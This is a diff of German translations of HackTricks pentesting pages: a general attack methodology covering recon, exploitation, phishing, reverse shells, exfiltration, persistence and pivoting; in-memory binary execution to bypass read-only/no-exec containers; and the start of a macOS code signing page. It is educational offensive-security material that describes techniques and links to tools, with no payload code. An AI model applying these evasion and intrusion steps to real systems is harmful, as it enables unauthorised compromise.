@ -579,7 +579,7 @@ Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) ver
|
|||
|
||||
#### Github Dorks
|
||||
|
||||
Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie auch in der Organisation, die Sie angreifen, suchen könnten:
|
||||
Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie auch in der Organisation suchen könnten, die Sie angreifen:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
|
@ -592,7 +592,7 @@ Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwend
|
|||
|
||||
### Google Dorks
|
||||
|
||||
Alte, aber bewährte Google Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**Google-Hacking-Datenbank**](https://www.exploit-db.com/google-hacking-database) mehrere **tausend** mögliche Abfragen enthält, die Sie nicht manuell ausführen können. Sie können also Ihre 10 Lieblingsabfragen auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**.
|
||||
Alte, aber bewährte Google Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) mehrere **tausend** mögliche Abfragen enthält, die Sie nicht manuell ausführen können. Sie können also Ihre 10 Lieblingsabfragen auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**.
|
||||
|
||||
_Bedenken Sie, dass die Tools, die erwarten, die gesamte Datenbank mit dem regulären Google-Browser auszuführen, niemals enden werden, da Google Sie sehr schnell blockieren wird._
|
||||
|
||||
|
|
@ -624,14 +624,14 @@ Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Sca
|
|||
|
||||
> Herzlichen Glückwunsch! An diesem Punkt haben Sie bereits **alle grundlegenden Enumeration** durchgeführt. Ja, es ist grundlegend, weil viel mehr Enumeration durchgeführt werden kann (wir werden später mehr Tricks sehen).
|
||||
|
||||
Sie haben bereits:
|
||||
Also haben Sie bereits:
|
||||
|
||||
1. Alle **Unternehmen** im Geltungsbereich gefunden
|
||||
2. Alle **Assets** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
|
||||
3. Alle **Domains** gefunden, die zu den Unternehmen gehören
|
||||
4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
|
||||
5. Alle **IPs** (von und **nicht von CDNs**) im Geltungsbereich gefunden.
|
||||
6. Alle **Webserver** gefunden und einen **Screenshot** davon gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
|
||||
6. Alle **Webserver** gefunden und einen **Screenshot** von ihnen gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
|
||||
7. Alle **potenziellen öffentlichen Cloud-Ressourcen** gefunden, die zu dem Unternehmen gehören.
|
||||
8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr leicht** verschaffen könnten.
|
||||
9. **Pentesting aller Webseiten, die Sie gefunden haben**
|
||||
|
|
@ -649,7 +649,7 @@ Es gibt mehrere Tools, die Teile der vorgeschlagenen Aktionen gegen einen bestim
|
|||
|
||||
* Alle kostenlosen Kurse von [**@Jhaddix**](https://twitter.com/Jhaddix) wie [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -665,7 +665,7 @@ Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,7 +15,7 @@ Lerne & übe GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -46,26 +46,26 @@ Bevor du einen Host angreifst, möchtest du vielleicht **einige Anmeldeinformati
|
|||
|
||||
### 3- [Port-Scan - Dienstentdeckung](pentesting-network/#scanning-hosts)
|
||||
|
||||
Das erste, was du tun solltest, wenn du **nach Schwachstellen in einem Host suchst**, ist zu wissen, welche **Dienste laufen** und an welchen Ports. Lass uns die [**grundlegenden Werkzeuge zum Scannen von Ports von Hosts**](pentesting-network/#scanning-hosts) ansehen.
|
||||
Das erste, was du tun solltest, wenn du **nach Schwachstellen in einem Host suchst**, ist zu wissen, welche **Dienste laufen** und an welchen Ports. Lass uns die [**grundlegenden Tools zum Scannen von Ports von Hosts**](pentesting-network/#scanning-hosts) ansehen.
|
||||
|
||||
### **4-** [**Suchen nach Dienstversions-Exploits**](search-exploits.md)
|
||||
### **4-** [Suche nach Dienstversions-Exploits](search-exploits.md)
|
||||
|
||||
Sobald du weißt, welche Dienste laufen und vielleicht ihre Version, musst du **nach bekannten Schwachstellen suchen**. Vielleicht hast du Glück und es gibt einen Exploit, der dir eine Shell gibt...
|
||||
Sobald du weißt, welche Dienste laufen und vielleicht welche Version, musst du **nach bekannten Schwachstellen suchen**. Vielleicht hast du Glück und es gibt einen Exploit, der dir eine Shell gibt...
|
||||
|
||||
### **5-** Pentesting-Dienste
|
||||
|
||||
Wenn es keinen ausgefallenen Exploit für einen laufenden Dienst gibt, solltest du nach **häufigen Fehlkonfigurationen in jedem laufenden Dienst suchen.**
|
||||
|
||||
**In diesem Buch findest du einen Leitfaden zum Pentesting der häufigsten Dienste** (und anderer, die nicht so häufig sind). **Bitte suche im linken Index nach der** _**PENTESTING**_ **Sektion** (die Dienste sind nach ihren Standardports geordnet).
|
||||
**In diesem Buch findest du einen Leitfaden zum Pentesten der häufigsten Dienste** (und anderer, die nicht so häufig sind). **Bitte suche im linken Index nach der** _**PENTESTING**_ **Sektion** (die Dienste sind nach ihren Standardports geordnet).
|
||||
|
||||
**Ich möchte besonders auf den** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **Teil hinweisen (da er der umfangreichste ist).**\
|
||||
Außerdem findest du hier einen kleinen Leitfaden, wie man [**bekannte Schwachstellen in Software findet**](search-exploits.md).
|
||||
|
||||
**Wenn dein Dienst nicht im Index ist, suche bei Google** nach anderen Tutorials und **lass es mich wissen, wenn du möchtest, dass ich es hinzufüge.** Wenn du **nichts** bei Google finden kannst, führe dein **eigenes blindes Pentesting** durch, du könntest damit beginnen, **eine Verbindung zum Dienst herzustellen, ihn zu fuzzing und die Antworten zu lesen** (falls vorhanden).
|
||||
|
||||
#### 5.1 Automatische Werkzeuge
|
||||
#### 5.1 Automatische Tools
|
||||
|
||||
Es gibt auch mehrere Werkzeuge, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde dir empfehlen,** [**Legion**](https://github.com/carlospolop/legion)** auszuprobieren, das ist das Werkzeug, das ich erstellt habe und das auf den Notizen über Pentesting-Dienste basiert, die du in diesem Buch finden kannst.**
|
||||
Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde dir empfehlen,** [**Legion**](https://github.com/carlospolop/legion)** auszuprobieren, das ist das Tool, das ich erstellt habe und das auf den Notizen über Pentesting-Dienste basiert, die du in diesem Buch finden kannst.**
|
||||
|
||||
#### **5.2 Brute-Forcing-Dienste**
|
||||
|
||||
|
|
@ -73,11 +73,11 @@ In einigen Szenarien könnte ein **Brute-Force** nützlich sein, um einen **Dien
|
|||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Wenn du an diesem Punkt keine interessanten Schwachstellen gefunden hast, **musst du vielleicht etwas Phishing versuchen**, um ins Netzwerk zu gelangen. Du kannst meine Phishing-Methodologie [hier](phishing-methodology/) lesen:
|
||||
Wenn du an diesem Punkt keine interessanten Schwachstellen gefunden hast, **musst du möglicherweise einige Phishing-Versuche** unternehmen, um ins Netzwerk zu gelangen. Du kannst meine Phishing-Methodologie [hier](phishing-methodology/) lesen:
|
||||
|
||||
### **7-** [**Shell erhalten**](reverse-shells/)
|
||||
|
||||
Irgendwie solltest du **eine Möglichkeit gefunden haben, Code** im Opfer auszuführen. Dann wäre [eine Liste möglicher Werkzeuge im System, die du verwenden kannst, um eine Reverse-Shell zu erhalten, sehr nützlich](reverse-shells/).
|
||||
Irgendwie solltest du **eine Möglichkeit gefunden haben, Code** im Opfer auszuführen. Dann wäre [eine Liste möglicher Tools im System, die du verwenden kannst, um eine Reverse-Shell zu erhalten, sehr nützlich](reverse-shells/).
|
||||
|
||||
Besonders unter Windows könntest du Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfe diese Seite**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
|
|
@ -91,7 +91,7 @@ Wenn du Probleme mit der Shell hast, findest du hier eine kleine **Zusammenstell
|
|||
|
||||
### **9 -** [**Exfiltration**](exfiltration.md)
|
||||
|
||||
Du wirst wahrscheinlich **einige Daten vom Opfer extrahieren** oder sogar **etwas einführen** müssen (wie Skripte zur Privilegieneskalation). **Hier hast du einen** [**Beitrag über gängige Werkzeuge, die du für diese Zwecke verwenden kannst**](exfiltration.md)**.**
|
||||
Du wirst wahrscheinlich **einige Daten vom Opfer extrahieren** oder sogar **etwas einführen** müssen (wie Skripte zur Privilegieneskalation). **Hier hast du einen** [**Beitrag über gängige Tools, die du für diese Zwecke verwenden kannst**](exfiltration.md)**.**
|
||||
|
||||
### **10- Privilegieneskalation**
|
||||
|
||||
|
|
@ -106,7 +106,7 @@ Du solltest auch diese Seiten über die Funktionsweise von **Windows** überprü
|
|||
* Wie man [**Anmeldeinformationen stiehlt**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
* Einige Tricks über [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Vergiss nicht, die besten Werkzeuge zur Aufzählung von Windows- und Linux-Pfaden zur lokalen Privilegieneskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Vergiss nicht, die besten Tools zur Aufzählung von Windows- und Linux-Pfaden zur lokalen Privilegieneskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Domain Privilegieneskalation**
|
||||
|
||||
|
|
@ -116,19 +116,19 @@ Hier findest du eine [**Methodologie, die die häufigsten Aktionen zur Aufzählu
|
|||
|
||||
#### **11**.1 - Plündern
|
||||
|
||||
Überprüfe, ob du mehr **Passwörter** im Host finden kannst oder ob du **Zugang zu anderen Maschinen** mit den **Privilegien** deines **Benutzers** hast.\
|
||||
Überprüfe, ob du weitere **Passwörter** im Host finden kannst oder ob du **Zugriff auf andere Maschinen** mit den **Privilegien** deines **Benutzers** hast.\
|
||||
Hier findest du verschiedene Möglichkeiten, um [**Passwörter in Windows zu dumpen**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Persistenz
|
||||
|
||||
**Verwende 2 oder 3 verschiedene Arten von Persistenzmechanismen, damit du das System nicht erneut ausnutzen musst.**\
|
||||
**Hier findest du einige** [**Persistenztricks im Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
**Hier findest du einige** [**Persistenztricks in Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Vollständige Persistenz-Post in Windows & Linux
|
||||
|
||||
### 12 - Pivoting
|
||||
|
||||
Mit den **gesammelten Anmeldeinformationen** könntest du Zugang zu anderen Maschinen haben, oder vielleicht musst du **neue Hosts entdecken und scannen** (starte die Pentesting-Methodologie erneut) in neuen Netzwerken, mit denen dein Opfer verbunden ist.\
|
||||
Mit den **gesammelten Anmeldeinformationen** könntest du Zugriff auf andere Maschinen haben, oder vielleicht musst du **neue Hosts entdecken und scannen** (starte die Pentesting-Methodologie erneut) in neuen Netzwerken, mit denen dein Opfer verbunden ist.\
|
||||
In diesem Fall könnte Tunneling notwendig sein. Hier findest du [**einen Beitrag über Tunneling**](tunneling-and-port-forwarding.md).\
|
||||
Du solltest auch den Beitrag über die [Pentesting-Methodologie für Active Directory](../windows-hardening/active-directory-methodology/) überprüfen. Dort findest du coole Tricks, um lateral zu bewegen, Privilegien zu eskalieren und Anmeldeinformationen zu dumpen.\
|
||||
Überprüfe auch die Seite über [**NTLM**](../windows-hardening/ntlm/), sie könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren.
|
||||
|
|
@ -141,7 +141,7 @@ Du solltest auch den Beitrag über die [Pentesting-Methodologie für Active Dire
|
|||
|
||||
* [**Grundlegendes Linux-Exploiting**](broken-reference/)
|
||||
* [**Grundlegendes Windows-Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Grundlegende Exploiting-Werkzeuge**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
* [**Grundlegende Exploiting-Tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
|
||||
#### [**Grundlagen Python**](python/)
|
||||
|
||||
|
|
@ -151,7 +151,7 @@ Du solltest auch den Beitrag über die [Pentesting-Methodologie für Active Dire
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
|||
|
|
@ -15,7 +15,7 @@ Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -30,7 +30,7 @@ In den folgenden Videos findest du die auf dieser Seite erwähnten Techniken aus
|
|||
|
||||
## read-only / no-exec Szenario
|
||||
|
||||
Es ist immer häufiger anzutreffen, dass Linux-Maschinen mit **schreibgeschütztem (ro) Dateisystemschutz** gemountet werden, insbesondere in Containern. Das liegt daran, dass es so einfach ist, einen Container mit ro Dateisystem zu betreiben, wie **`readOnlyRootFilesystem: true`** im `securitycontext` festzulegen:
|
||||
Es ist immer häufiger anzutreffen, dass Linux-Maschinen mit **schreibgeschütztem (ro) Dateisystemschutz** gemountet werden, insbesondere in Containern. Das liegt daran, dass es so einfach ist, einen Container mit ro Dateisystem zu starten, wie **`readOnlyRootFilesystem: true`** im `securitycontext` festzulegen:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
|
@ -48,16 +48,16 @@ securityContext:
|
|||
Allerdings, selbst wenn das Dateisystem als ro gemountet ist, bleibt **`/dev/shm`** beschreibbar, sodass es falsch ist zu sagen, dass wir nichts auf die Festplatte schreiben können. Diese Ordner werden jedoch **mit no-exec-Schutz** gemountet, sodass du eine hier heruntergeladene Binärdatei **nicht ausführen kannst**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Aus der Perspektive eines Red Teams macht dies das **Herunterladen und Ausführen** von Binärdateien, die sich nicht bereits im System befinden (wie Backdoors oder Enumerator wie `kubectl`), **kompliziert**.
|
||||
Aus der Perspektive eines Red Teams macht dies das **Herunterladen und Ausführen** von Binärdateien, die sich nicht bereits im System befinden (wie Backdoors oder Aufzähler wie `kubectl`), **kompliziert**.
|
||||
{% endhint %}
|
||||
|
||||
## Einfachster Bypass: Skripte
|
||||
|
||||
Beachte, dass ich von Binärdateien gesprochen habe, du kannst **jedes Skript ausführen**, solange der Interpreter auf der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python**-**Skript**, wenn `python` installiert ist.
|
||||
Beachte, dass ich von Binärdateien gesprochen habe, du kannst **jedes Skript ausführen**, solange der Interpreter auf der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python-Skript**, wenn `Python` installiert ist.
|
||||
|
||||
Allerdings reicht das nicht aus, um deine Binär-Backdoor oder andere Binärwerkzeuge auszuführen, die du möglicherweise benötigst.
|
||||
|
||||
## Speicher-Bypässe
|
||||
## Speicher-Bypasses
|
||||
|
||||
Wenn du eine Binärdatei ausführen möchtest, aber das Dateisystem dies nicht zulässt, ist der beste Weg, dies zu tun, indem du sie **aus dem Speicher ausführst**, da die **Schutzmaßnahmen dort nicht gelten**.
|
||||
|
||||
|
|
@ -65,12 +65,12 @@ Wenn du eine Binärdatei ausführen möchtest, aber das Dateisystem dies nicht z
|
|||
|
||||
Wenn du einige leistungsstarke Skript-Engines auf der Maschine hast, wie **Python**, **Perl** oder **Ruby**, könntest du die Binärdatei herunterladen, um sie aus dem Speicher auszuführen, sie in einem Speicher-Dateideskriptor (`create_memfd` syscall) speichern, der nicht durch diese Schutzmaßnahmen geschützt ist, und dann einen **`exec` syscall** aufrufen, der den **fd als die auszuführende Datei angibt**.
|
||||
|
||||
Dafür kannst du leicht das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Du kannst ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache generiert, mit der **Binärdatei komprimiert und b64 codiert** und den Anweisungen, um sie in einem **fd** zu **dekodieren und zu dekomprimieren**, das durch den Aufruf des `create_memfd` syscalls erstellt wurde, und einem Aufruf des **exec** syscalls, um sie auszuführen.
|
||||
Dafür kannst du leicht das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Du kannst ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache generiert, mit der **Binärdatei komprimiert und b64 codiert** und den Anweisungen, um sie in einem **fd** zu **dekodieren und zu dekomprimieren**, das durch den Aufruf des `create_memfd` syscalls erstellt wird, und einem Aufruf des **exec** syscalls, um sie auszuführen.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dies funktioniert nicht in anderen Skriptsprache wie PHP oder Node, da sie keine **Standardmethode haben, um rohe Syscalls** aus einem Skript aufzurufen, sodass es nicht möglich ist, `create_memfd` aufzurufen, um den **Speicher fd** zu erstellen, um die Binärdatei zu speichern.
|
||||
|
||||
Darüber hinaus wird das Erstellen eines **regulären fd** mit einer Datei in `/dev/shm` nicht funktionieren, da du sie nicht ausführen darfst, weil der **no-exec-Schutz** gilt.
|
||||
Darüber hinaus wird das Erstellen eines **regulären fd** mit einer Datei in `/dev/shm` nicht funktionieren, da du sie nicht ausführen kannst, weil der **no-exec-Schutz** gilt.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
|
@ -100,7 +100,7 @@ Ein Beispiel, wie man **memexec verwendet, um Binärdateien von einem PHP-Revers
|
|||
|
||||
### Memdlopen
|
||||
|
||||
Mit einem ähnlichen Zweck wie DDexec ermöglicht die [**memdlopen**](https://github.com/arget13/memdlopen) Technik eine **einfachere Möglichkeit, Binärdateien** im Speicher zu laden, um sie später auszuführen. Es könnte sogar ermöglichen, Binärdateien mit Abhängigkeiten zu laden.
|
||||
Mit einem ähnlichen Zweck wie DDexec ermöglicht die Technik [**memdlopen**](https://github.com/arget13/memdlopen) eine **einfachere Möglichkeit, Binärdateien** im Speicher zu laden, um sie später auszuführen. Es könnte sogar ermöglichen, Binärdateien mit Abhängigkeiten zu laden.
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
|
|
@ -118,7 +118,7 @@ In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` ode
|
|||
Daher werden Sie **nicht** in der Lage sein, eine **Reverse Shell** zu erhalten oder das System wie gewohnt zu **enumerieren**.
|
||||
{% endhint %}
|
||||
|
||||
Wenn der kompromittierte Container beispielsweise eine Flask-Webanwendung ausführt, ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn es Node ausführt, können Sie eine Node-Reverse-Shell erhalten, und dasselbe gilt für die meisten **Skriptsprache**.
|
||||
Wenn der kompromittierte Container jedoch beispielsweise eine Flask-Webanwendung ausführt, ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn es Node ausführt, können Sie eine Node-Reverse-Shell erhalten, und dasselbe gilt für die meisten **Skriptsprache**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Mit der Skriptsprache könnten Sie das **System enumerieren**, indem Sie die Sprachfähigkeiten nutzen.
|
||||
|
|
@ -127,12 +127,12 @@ Mit der Skriptsprache könnten Sie das **System enumerieren**, indem Sie die Spr
|
|||
Wenn es **keine `read-only/no-exec`**-Schutzmaßnahmen gibt, könnten Sie Ihre Reverse Shell missbrauchen, um **Ihre Binärdateien im Dateisystem zu schreiben** und sie **auszuführen**.
|
||||
|
||||
{% hint style="success" %}
|
||||
In dieser Art von Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die **vorherigen Techniken zur Ausführung im Speicher verwenden, um sie zu umgehen**.
|
||||
In dieser Art von Containern werden diese Schutzmaßnahmen jedoch normalerweise existieren, aber Sie könnten die **vorherigen Techniken zur Ausführung im Speicher verwenden, um sie zu umgehen**.
|
||||
{% endhint %}
|
||||
|
||||
Sie finden **Beispiele**, wie man **einige RCE-Schwachstellen ausnutzt**, um Skriptsprache **Reverse Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen, unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,391 @@
|
|||
# macOS Code Signing
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Mach-o-Binärdateien enthalten einen Ladebefehl namens **`LC_CODE_SIGNATURE`**, der den **Offset** und die **Größe** der Signaturen innerhalb der Binärdatei angibt. Tatsächlich ist es möglich, mit dem GUI-Tool MachOView am Ende der Binärdatei einen Abschnitt namens **Code Signature** mit diesen Informationen zu finden:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
Der magische Header der Code Signature ist **`0xFADE0CC0`**. Dann gibt es Informationen wie die Länge und die Anzahl der Blobs des SuperBlobs, die sie enthalten.\
|
||||
Es ist möglich, diese Informationen im [Quellcode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) zu finden:
|
||||
```c
|
||||
/*
|
||||
* Structure of an embedded-signature SuperBlob
|
||||
*/
|
||||
|
||||
typedef struct __BlobIndex {
|
||||
uint32_t type; /* type of entry */
|
||||
uint32_t offset; /* offset of entry */
|
||||
} CS_BlobIndex
|
||||
__attribute__ ((aligned(1)));
|
||||
|
||||
typedef struct __SC_SuperBlob {
|
||||
uint32_t magic; /* magic number */
|
||||
uint32_t length; /* total length of SuperBlob */
|
||||
uint32_t count; /* number of index entries following */
|
||||
CS_BlobIndex index[]; /* (count) entries */
|
||||
/* followed by Blobs in no particular order as indicated by offsets in index */
|
||||
} CS_SuperBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
|
||||
#define KERNEL_HAVE_CS_GENERICBLOB 1
|
||||
typedef struct __SC_GenericBlob {
|
||||
uint32_t magic; /* magic number */
|
||||
uint32_t length; /* total length of blob */
|
||||
char data[];
|
||||
} CS_GenericBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Häufig enthaltene Blobs sind Codeverzeichnis, Anforderungen und Berechtigungen sowie eine kryptografische Nachrichten-Syntax (CMS).\
|
||||
Außerdem beachten Sie, dass die in den Blobs codierten Daten in **Big Endian** codiert sind.
|
||||
|
||||
Darüber hinaus können Signaturen von den Binärdateien getrennt und in `/var/db/DetachedSignatures` gespeichert werden (verwendet von iOS).
|
||||
|
||||
## Codeverzeichnis-Blob
|
||||
|
||||
Es ist möglich, die Deklaration des [Codeverzeichnis-Blobs im Code zu finden](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
|
||||
```c
|
||||
typedef struct __CodeDirectory {
|
||||
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
|
||||
uint32_t length; /* total length of CodeDirectory blob */
|
||||
uint32_t version; /* compatibility version */
|
||||
uint32_t flags; /* setup and mode flags */
|
||||
uint32_t hashOffset; /* offset of hash slot element at index zero */
|
||||
uint32_t identOffset; /* offset of identifier string */
|
||||
uint32_t nSpecialSlots; /* number of special hash slots */
|
||||
uint32_t nCodeSlots; /* number of ordinary (code) hash slots */
|
||||
uint32_t codeLimit; /* limit to main image signature range */
|
||||
uint8_t hashSize; /* size of each hash in bytes */
|
||||
uint8_t hashType; /* type of hash (cdHashType* constants) */
|
||||
uint8_t platform; /* platform identifier; zero if not platform binary */
|
||||
uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */
|
||||
uint32_t spare2; /* unused (must be zero) */
|
||||
|
||||
char end_earliest[0];
|
||||
|
||||
/* Version 0x20100 */
|
||||
uint32_t scatterOffset; /* offset of optional scatter vector */
|
||||
char end_withScatter[0];
|
||||
|
||||
/* Version 0x20200 */
|
||||
uint32_t teamOffset; /* offset of optional team identifier */
|
||||
char end_withTeam[0];
|
||||
|
||||
/* Version 0x20300 */
|
||||
uint32_t spare3; /* unused (must be zero) */
|
||||
uint64_t codeLimit64; /* limit to main image signature range, 64 bits */
|
||||
char end_withCodeLimit64[0];
|
||||
|
||||
/* Version 0x20400 */
|
